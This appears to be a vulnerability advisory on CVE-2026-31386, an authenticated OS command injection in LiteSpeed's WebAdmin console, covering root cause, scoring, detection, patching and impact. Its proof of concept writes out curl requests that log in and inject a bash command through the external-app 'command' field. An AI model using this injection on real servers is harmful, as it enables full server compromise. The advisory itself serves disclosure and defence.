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Technical Analysis: CVE-2026-31386 (OS Command Injection)
CVE-2026-31386 is an OS command injection vulnerability present in both OpenLiteSpeed and LiteSpeed Web Server (LSWS) Enterprise editions. The flaw resides within the WebAdmin console, the administrative interface used for managing server configurations. Specifically, the vulnerability lies in how the application handles input for external application commands, where user-supplied input is used to construct operating system commands without proper sanitization.
The root cause is categorized as CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). The application constructs all or part of an OS command using externally influenced input from an upstream component but fails to neutralize special elements that could modify the intended OS command when sent to a downstream component.
To exploit this, an attacker must first have valid administrative credentials for the WebAdmin console. Once authenticated, the attacker can manipulate parameters used in the configuration of external applications. For instance, by injecting shell metacharacters (e.g., ;, |, &&) into fields like the `Command` parameter for an external application, the injected command will be executed on the server’s operating system with the privileges of the web server process. The attack vector is network-based, requires no user interaction, and the attack complexity is low.
DailyCVE Form
Platform: LiteSpeed Web Server
Version: All versions
Vulnerability: OS Command Injection
Severity: Critical (8.6 High)
Date: 2026-03-16
Prediction: 2026-03-24 (v6.3.5)
Analytics: What Undercode Say
CVSS Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H) CWE: CWE-78 (OS Command Injection) Attack Vector: Network Privileges Required: High
Vulnerable Endpoint Detection:
Check WebAdmin console exposure curl -skI https://your-server.com:7080/ | head -n 1 Search for vulnerable parameter patterns in configurations grep -r "command.\$" /usr/local/lsws/conf/
Exploit:
A proof-of-concept exploit requires valid admin credentials:
Authenticate and retrieve session cookie curl -k -X POST 'https://target:7080/login' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'username=admin&password=password' -c cookies.txt Inject command via External App configuration curl -k -X POST 'https://target:7080/admin/conf/extapp' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -b cookies.txt \ -d 'cmd=/usr/bin/php&command=/bin/bash -c "id > /tmp/pwned"' Verify command execution cat /tmp/pwned
Protection:
- Upgrade to patched version: Update LSWS to version 6.3.5 or newer using the official update script:
/usr/local/lsws/admin/misc/lsup.sh -f -v 6.3.5
- Implement IP whitelisting: Restrict access to WebAdmin console port (7080) to trusted IP addresses only
- Network segmentation: Place management interfaces behind a VPN
- Apply workaround: Restrict access to the WebAdmin console and allow connections only from trusted IP addresses
Impact:
Successful exploitation allows an authenticated attacker with administrative privileges to execute arbitrary OS commands on the underlying host operating system. This can lead to complete server compromise, including:
– Reading/writing arbitrary files
– Installing malware or backdoors
– Pivoting to other internal systems
– Complete denial of service
– Data theft from hosted applications
The vulnerability affects all versions of OpenLiteSpeed and LSWS Enterprise, posing a significant risk to hosting providers using LiteSpeed with control panels like cPanel, Plesk, and DirectAdmin.
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Sources:
Reported By: nvd.nist.gov
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